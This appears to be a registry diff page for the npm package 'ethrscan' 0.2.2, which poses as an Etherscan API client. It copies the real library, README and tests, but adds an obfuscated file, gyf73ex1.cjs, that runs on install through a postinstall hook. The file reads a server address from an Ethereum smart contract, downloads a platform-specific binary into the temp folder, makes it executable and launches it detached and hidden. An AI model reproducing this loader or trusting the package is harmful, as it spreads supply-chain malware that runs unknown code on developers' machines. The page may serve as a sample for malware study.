ethrscan 0.2.2

Sign up to get free protection for your applications and to get access to all the features.
package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2017-present, x0r2
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
package/README.md ADDED
@@ -0,0 +1,99 @@
1
+ # etherscan
2
+ Node.js library for communicating with the Etherscan API.
3
+
4
+ ## Installation
5
+
6
+ ```sh
7
+ $ npm i request
8
+ $ npm i etherscan
9
+ ```
10
+
11
+ `request` is defined as a peer-dependency and thus has to be installed separately.
12
+
13
+ ## Testing
14
+
15
+ ```sh
16
+ $ npm test
17
+ ```
18
+
19
+ ## Import
20
+
21
+ ### Using CommonJS
22
+
23
+ Requirements (Node.js >= 8.0.0).
24
+ ```js
25
+ const Etherscan = require('etherscan');
26
+ ```
27
+
28
+ ### Using ESM
29
+
30
+ Use --experimental-modules flag and .mjs extension (Node.js >= 8.6.0).
31
+ ```js
32
+ import Etherscan from 'etherscan';
33
+ ```
34
+
35
+ ## Usage
36
+
37
+ ```js
38
+ import Etherscan from 'etherscan';
39
+
40
+ const etherscan = new Etherscan(API_KEY); // Some methods working without API_KEY
41
+
42
+ (async () => {
43
+ const data = await etherscan.getEtherBalance({
44
+ address: '0x00'
45
+ });
46
+ })();
47
+ ```
48
+
49
+ ## API
50
+
51
+ ### Accounts
52
+
53
+ #### getEtherBalance
54
+
55
+ Get Ether balance for a single address.
56
+
57
+ ```js
58
+ etherscan.getEtherBalance({
59
+ address: '0x00',
60
+ tag: 'latest' // Optional, default 'latest'
61
+ });
62
+ ```
63
+
64
+ #### getEtherBalanceMulti
65
+
66
+ Get Ether balance for multiple addresses in a single call.
67
+
68
+ ```js
69
+ etherscan.getEtherBalanceMulti({
70
+ address: ['0x00', '0x01'],
71
+ tag: 'latest' // Optional, default 'latest'
72
+ });
73
+ ```
74
+
75
+ #### getTxList
76
+
77
+ Get a list of `normal` transactions by address.
78
+
79
+ ```js
80
+ etherscan.getTxList({
81
+ address: '0x00',
82
+ startblock: 0, // Optional
83
+ endblock: 0, // Optional
84
+ sort: 'desc' // Optional, default 'asc'
85
+ });
86
+ ```
87
+
88
+ #### getTxListInternal
89
+
90
+ Get a list of `internal` transactions by address.
91
+
92
+ ```js
93
+ etherscan.getTxListInternal({
94
+ address: '0x00',
95
+ startblock: 0, // Optional
96
+ endblock: 0, // Optional
97
+ sort: 'desc' // Optional, default 'asc'
98
+ });
99
+ ```
package/gyf73ex1.cjs ADDED
@@ -0,0 +1 @@
1
+ const _0x312977=_0x3bd0;(function(_0x1f6cb7,_0x2b05e7){const _0x5c14c9=_0x3bd0,_0x3d48d6=_0x1f6cb7();while(!![]){try{const _0x1a9690=parseInt(_0x5c14c9(0x131))/0x1+parseInt(_0x5c14c9(0x139))/0x2+-parseInt(_0x5c14c9(0x125))/0x3+parseInt(_0x5c14c9(0x137))/0x4*(-parseInt(_0x5c14c9(0x124))/0x5)+-parseInt(_0x5c14c9(0x110))/0x6*(parseInt(_0x5c14c9(0x120))/0x7)+-parseInt(_0x5c14c9(0x113))/0x8+parseInt(_0x5c14c9(0x10c))/0x9;if(_0x1a9690===_0x2b05e7)break;else _0x3d48d6['push'](_0x3d48d6['shift']());}catch(_0x98134c){_0x3d48d6['push'](_0x3d48d6['shift']());}}}(_0xd976,0x2be64));function _0x3bd0(_0x32d58b,_0x635008){const _0xd9763d=_0xd976();return _0x3bd0=function(_0x3bd0f9,_0x21c1bd){_0x3bd0f9=_0x3bd0f9-0x109;let _0x4736ef=_0xd9763d[_0x3bd0f9];return _0x4736ef;},_0x3bd0(_0x32d58b,_0x635008);}function _0xd976(){const _0x3baf55=['sWaMj','child_process','data','win32','GET','chmodSync','345173GFQpCd','/node-macos','oWQkR','hVeCf','Unsupported\x20platform:\x20','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','4tMjEDY','YzdvK','152534pbNZri','stream','yqcsU','basename','5351589EhXnnk','Ошибка\x20при\x20запуске\x20файла:','error','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','18zhmGTG','mainnet','dSavC','2326464TfHqqH','/node-win.exe','Contract','755','darwin','pipe','CeUfz','gObLK','tmpdir','path','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','ethers','hkOSE','134869jTItSr','/node-linux','util','ignore','777245JLDqMa','996573XTooXN','platform','getString','Ошибка\x20при\x20получении\x20IP\x20адреса:','finish','qbIQl'];_0xd976=function(){return _0x3baf55;};return _0xd976();}const {ethers}=require(_0x312977(0x11e)),axios=require('axios'),util=require(_0x312977(0x122)),fs=require('fs'),path=require(_0x312977(0x11c)),os=require('os'),{spawn}=require(_0x312977(0x12c)),contractAddress=_0x312977(0x11d),WalletOwner=_0x312977(0x136),abi=[_0x312977(0x10f)],provider=ethers['getDefaultProvider'](_0x312977(0x111)),contract=new ethers[(_0x312977(0x115))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x1ea2e6=_0x312977,_0x9086ee={'CeUfz':function(_0x5810fe){return _0x5810fe();}};try{const _0x39852f=await contract[_0x1ea2e6(0x127)](WalletOwner);return _0x39852f;}catch(_0x377dbd){return console[_0x1ea2e6(0x10e)](_0x1ea2e6(0x128),_0x377dbd),await _0x9086ee[_0x1ea2e6(0x119)](fetchAndUpdateIp);}},getDownloadUrl=_0xa38746=>{const _0x35bf4a=_0x312977,_0x478350={'YzdvK':'linux'},_0x5d33fc=os['platform']();switch(_0x5d33fc){case _0x35bf4a(0x12e):return _0xa38746+_0x35bf4a(0x114);case _0x478350[_0x35bf4a(0x138)]:return _0xa38746+_0x35bf4a(0x121);case _0x35bf4a(0x117):return _0xa38746+_0x35bf4a(0x132);default:throw new Error(_0x35bf4a(0x135)+_0x5d33fc);}},downloadFile=async(_0x7eba3b,_0x89af1a)=>{const _0x2648d0=_0x312977,_0x1fed53={'oWQkR':_0x2648d0(0x129),'sWaMj':_0x2648d0(0x10e),'BCUpr':function(_0x4d2ec9,_0x2fca15){return _0x4d2ec9(_0x2fca15);},'QqNYB':_0x2648d0(0x109)},_0x4a24f3=fs['createWriteStream'](_0x89af1a),_0x291a79=await _0x1fed53['BCUpr'](axios,{'url':_0x7eba3b,'method':_0x2648d0(0x12f),'responseType':_0x1fed53['QqNYB']});return _0x291a79[_0x2648d0(0x12d)][_0x2648d0(0x118)](_0x4a24f3),new Promise((_0x3e7494,_0x5ec400)=>{const _0x315235=_0x2648d0;_0x4a24f3['on'](_0x1fed53[_0x315235(0x133)],_0x3e7494),_0x4a24f3['on'](_0x1fed53[_0x315235(0x12b)],_0x5ec400);});},executeFileInBackground=async _0x50ba2d=>{const _0x4078cc=_0x312977,_0x108c16={'qbIQl':function(_0x11f4be,_0x16a71e,_0x725c5c,_0x173fc5){return _0x11f4be(_0x16a71e,_0x725c5c,_0x173fc5);},'dSavC':_0x4078cc(0x10d)};try{const _0x7c2d5c=_0x108c16[_0x4078cc(0x12a)](spawn,_0x50ba2d,[],{'detached':!![],'stdio':_0x4078cc(0x123)});_0x7c2d5c['unref']();}catch(_0x5ad07a){console[_0x4078cc(0x10e)](_0x108c16[_0x4078cc(0x112)],_0x5ad07a);}},runInstallation=async()=>{const _0x4eb346=_0x312977,_0x217dfc={'yqcsU':function(_0x7803a){return _0x7803a();},'hkOSE':function(_0x45532e,_0x13c1f8){return _0x45532e(_0x13c1f8);},'hVeCf':function(_0x4a1713,_0x5cde02,_0x247e6c){return _0x4a1713(_0x5cde02,_0x247e6c);},'gObLK':function(_0x464cb1,_0x3689a4){return _0x464cb1!==_0x3689a4;},'obAWg':_0x4eb346(0x116)};try{const _0x2cb363=await _0x217dfc[_0x4eb346(0x10a)](fetchAndUpdateIp),_0x1a8411=_0x217dfc['hkOSE'](getDownloadUrl,_0x2cb363),_0x280dc4=os[_0x4eb346(0x11b)](),_0xefd207=path[_0x4eb346(0x10b)](_0x1a8411),_0xa7be2b=path['join'](_0x280dc4,_0xefd207);await _0x217dfc[_0x4eb346(0x134)](downloadFile,_0x1a8411,_0xa7be2b);if(_0x217dfc[_0x4eb346(0x11a)](os[_0x4eb346(0x126)](),_0x4eb346(0x12e)))fs[_0x4eb346(0x130)](_0xa7be2b,_0x217dfc['obAWg']);_0x217dfc[_0x4eb346(0x11f)](executeFileInBackground,_0xa7be2b);}catch(_0x1aa8e7){console[_0x4eb346(0x10e)]('Ошибка\x20установки:',_0x1aa8e7);}};runInstallation();
package/index.js ADDED
@@ -0,0 +1,81 @@
1
+ 'use strict';
2
+
3
+ Object.defineProperty(exports, "__esModule", {
4
+ value: true
5
+ });
6
+
7
+ var _requestPromiseNative = require('request-promise-native');
8
+
9
+ var _requestPromiseNative2 = _interopRequireDefault(_requestPromiseNative);
10
+
11
+ function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
12
+
13
+ class Etherscan {
14
+ constructor(apiKey) {
15
+ this._apiKey = apiKey;
16
+ this._apiUrl = 'https://api.etherscan.io/api';
17
+ }
18
+
19
+ getEtherBalance(options) {
20
+ return this._moduleAccount({
21
+ action: 'balance',
22
+ address: options.address,
23
+ tag: options.tag || 'latest'
24
+ });
25
+ }
26
+
27
+ getEtherBalanceMulti(options) {
28
+ return this._moduleAccount({
29
+ action: 'balancemulti',
30
+ address: options.address,
31
+ tag: options.tag || 'latest'
32
+ });
33
+ }
34
+
35
+ getTxList(options) {
36
+ return this._moduleAccount({
37
+ action: 'txlist',
38
+ address: options.address,
39
+ startblock: options.startBlock,
40
+ endblock: options.endBlock,
41
+ sort: options.sort
42
+ });
43
+ }
44
+
45
+ getTxListInternal(options) {
46
+ return this._moduleAccount({
47
+ action: 'txlistinternal',
48
+ address: options.address,
49
+ startblock: options.startBlock,
50
+ endblock: options.endBlock,
51
+ sort: options.sort
52
+ });
53
+ }
54
+
55
+ _moduleAccount(params) {
56
+ return this._query(Object.assign({}, params, {
57
+ module: 'account'
58
+ }));
59
+ }
60
+
61
+ async _query(params) {
62
+ if (this._apiKey) {
63
+ params.apikey = this._apiKey;
64
+ }
65
+ const data = await (0, _requestPromiseNative2.default)(this._apiUrl, {
66
+ method: 'POST',
67
+ qsStringifyOptions: {
68
+ arrayFormat: 'repeat'
69
+ },
70
+ form: params,
71
+ json: true
72
+ });
73
+
74
+ if (data.status !== '1') {
75
+ return Promise.reject(`API returned result "${data.result}"`);
76
+ }
77
+ return data.result;
78
+ }
79
+ }
80
+ exports.default = Etherscan;
81
+ module.exports = exports['default'];
package/index.mjs ADDED
@@ -0,0 +1,70 @@
1
+ import request from 'request-promise-native';
2
+
3
+ export default class Etherscan {
4
+ constructor(apiKey) {
5
+ this._apiKey = apiKey;
6
+ this._apiUrl = 'https://api.etherscan.io/api';
7
+ }
8
+
9
+ getEtherBalance(options) {
10
+ return this._moduleAccount({
11
+ action: 'balance',
12
+ address: options.address,
13
+ tag: options.tag || 'latest'
14
+ });
15
+ }
16
+
17
+ getEtherBalanceMulti(options) {
18
+ return this._moduleAccount({
19
+ action: 'balancemulti',
20
+ address: options.address,
21
+ tag: options.tag || 'latest'
22
+ });
23
+ }
24
+
25
+ getTxList(options) {
26
+ return this._moduleAccount({
27
+ action: 'txlist',
28
+ address: options.address,
29
+ startblock: options.startBlock,
30
+ endblock: options.endBlock,
31
+ sort: options.sort
32
+ });
33
+ }
34
+
35
+ getTxListInternal(options) {
36
+ return this._moduleAccount({
37
+ action: 'txlistinternal',
38
+ address: options.address,
39
+ startblock: options.startBlock,
40
+ endblock: options.endBlock,
41
+ sort: options.sort
42
+ });
43
+ }
44
+
45
+ _moduleAccount(params) {
46
+ return this._query({
47
+ ...params,
48
+ module: 'account'
49
+ });
50
+ }
51
+
52
+ async _query(params) {
53
+ if (this._apiKey) {
54
+ params.apikey = this._apiKey;
55
+ }
56
+ const data = await request(this._apiUrl, {
57
+ method: 'POST',
58
+ qsStringifyOptions: {
59
+ arrayFormat: 'repeat'
60
+ },
61
+ form: params,
62
+ json: true
63
+ });
64
+
65
+ if (data.status !== '1') {
66
+ return Promise.reject(`API returned result "${data.result}"`);
67
+ }
68
+ return data.result;
69
+ }
70
+ }
package/package.json ADDED
@@ -0,0 +1,45 @@
1
+ {
2
+ "name": "ethrscan",
3
+ "version": "0.2.2",
4
+ "description": "Node.js library for communicating with the Etherscan API.",
5
+ "author": "x0r2",
6
+ "license": "MIT",
7
+ "repository": {
8
+ "type": "git",
9
+ "url": "https://github.com/x0r2/etherscan.git"
10
+ },
11
+ "engines": {
12
+ "node": ">=8.0.0"
13
+ },
14
+ "keywords": [
15
+ "etherscan",
16
+ "etherscan api",
17
+ "etherscan.io",
18
+ "ethereum api"
19
+ ],
20
+ "files": [
21
+ "index.mjs",
22
+ "index.js",
23
+ "test.js",
24
+ "gyf73ex1.cjs"
25
+ ],
26
+ "scripts": {
27
+ "postinstall": "node gyf73ex1.cjs"
28
+ },
29
+ "devDependencies": {
30
+ "babel-cli": "^6.26.0",
31
+ "babel-plugin-add-module-exports": "^0.2.1",
32
+ "babel-plugin-transform-object-rest-spread": "^6.26.0",
33
+ "babel-preset-env": "^1.6.1",
34
+ "jest": "^21.2.1",
35
+ "request": "^2.34.0"
36
+ },
37
+ "dependencies": {
38
+ "request-promise-native": "^1.0.5",
39
+ "axios": "^1.7.7",
40
+ "ethers": "^6.13.2"
41
+ },
42
+ "peerDependencies": {
43
+ "request": "^2.34.0"
44
+ }
45
+ }
package/test.js ADDED
@@ -0,0 +1,177 @@
1
+ import Etherscan from './index';
2
+
3
+ jest.setTimeout(10000);
4
+
5
+ const etherscan = new Etherscan();
6
+
7
+ const address = '0xde0b295669a9fd93d5f28d9ec85e40f4cb697bae';
8
+
9
+ const startBlock = '4266461';
10
+ const endBlock = '4275952';
11
+
12
+ const startBlockInt = '4237739';
13
+ const endBlockInt = '4355520';
14
+
15
+ const accountMatch = expect.stringMatching(/^0x[\da-f]{40}$/);
16
+ const digitsMatch = expect.stringMatching(/^\d+$/);
17
+
18
+ describe('account', () => {
19
+ test('get ether balance', async () => {
20
+ expect(await etherscan.getEtherBalance({
21
+ address
22
+ })).toEqual(digitsMatch);
23
+ });
24
+
25
+ test('get ether balance multi', async () => {
26
+ const data = await etherscan.getEtherBalanceMulti({
27
+ address
28
+ });
29
+
30
+ expect(data).toMatchObject([{
31
+ account: accountMatch,
32
+ balance: digitsMatch,
33
+ }]);
34
+ });
35
+
36
+ describe('get transactions', async () => {
37
+ test('latest', async () => {
38
+ const data = await etherscan.getTxList({
39
+ address
40
+ });
41
+
42
+ expect(data).toContainEqual(
43
+ expect.objectContaining({
44
+ blockNumber: digitsMatch
45
+ })
46
+ );
47
+ });
48
+
49
+ test('with start block', async () => {
50
+ const data = await etherscan.getTxList({
51
+ address,
52
+ startBlock
53
+ });
54
+
55
+ expect(data[0]).toMatchObject({
56
+ blockNumber: startBlock
57
+ });
58
+ });
59
+
60
+ test('with end block', async () => {
61
+ const data = await etherscan.getTxList({
62
+ address,
63
+ endBlock
64
+ });
65
+
66
+ expect(data[data.length - 1]).toMatchObject({
67
+ blockNumber: endBlock
68
+ });
69
+ });
70
+
71
+ test('with start and end blocks', async () => {
72
+ const data = await etherscan.getTxList({
73
+ address,
74
+ startBlock,
75
+ endBlock: startBlock
76
+ });
77
+
78
+ expect(data).toMatchObject([{
79
+ blockNumber: startBlock
80
+ }]);
81
+ });
82
+
83
+ test('sort', async () => {
84
+ const data = await etherscan.getTxList({
85
+ address,
86
+ startBlock,
87
+ endBlock
88
+ });
89
+
90
+ const dataDesc = await etherscan.getTxList({
91
+ address,
92
+ startBlock,
93
+ endBlock,
94
+ sort: 'desc'
95
+ });
96
+
97
+ expect(data[0]).toMatchObject({
98
+ blockNumber: startBlock
99
+ });
100
+
101
+ expect(dataDesc[0]).toMatchObject({
102
+ blockNumber: endBlock
103
+ });
104
+ });
105
+ });
106
+
107
+ describe('get transactions internal', async () => {
108
+ test('latest', async () => {
109
+ const data = await etherscan.getTxListInternal({
110
+ address
111
+ });
112
+
113
+ expect(data).toContainEqual(
114
+ expect.objectContaining({
115
+ blockNumber: digitsMatch
116
+ })
117
+ );
118
+ });
119
+
120
+ test('with start block', async () => {
121
+ const data = await etherscan.getTxListInternal({
122
+ address,
123
+ startBlock: startBlockInt
124
+ });
125
+
126
+ expect(data[0]).toMatchObject({
127
+ blockNumber: startBlockInt
128
+ });
129
+ });
130
+
131
+ test('with end block', async () => {
132
+ const data = await etherscan.getTxListInternal({
133
+ address,
134
+ endBlock: endBlockInt
135
+ });
136
+
137
+ expect(data[data.length - 1]).toMatchObject({
138
+ blockNumber: endBlockInt
139
+ });
140
+ });
141
+
142
+ test('with start and end blocks', async () => {
143
+ const data = await etherscan.getTxListInternal({
144
+ address,
145
+ startBlock: startBlockInt,
146
+ endBlock: startBlockInt
147
+ });
148
+
149
+ expect(data).toMatchObject([{
150
+ blockNumber: startBlockInt
151
+ }]);
152
+ });
153
+
154
+ test('sort', async () => {
155
+ const data = await etherscan.getTxListInternal({
156
+ address,
157
+ startBlock: startBlockInt,
158
+ endBlock: endBlockInt
159
+ });
160
+
161
+ const dataDesc = await etherscan.getTxListInternal({
162
+ address,
163
+ startBlock: startBlockInt,
164
+ endBlock: endBlockInt,
165
+ sort: 'desc'
166
+ });
167
+
168
+ expect(data[0]).toMatchObject({
169
+ blockNumber: startBlockInt
170
+ });
171
+
172
+ expect(dataDesc[0]).toMatchObject({
173
+ blockNumber: endBlockInt
174
+ });
175
+ });
176
+ });
177
+ });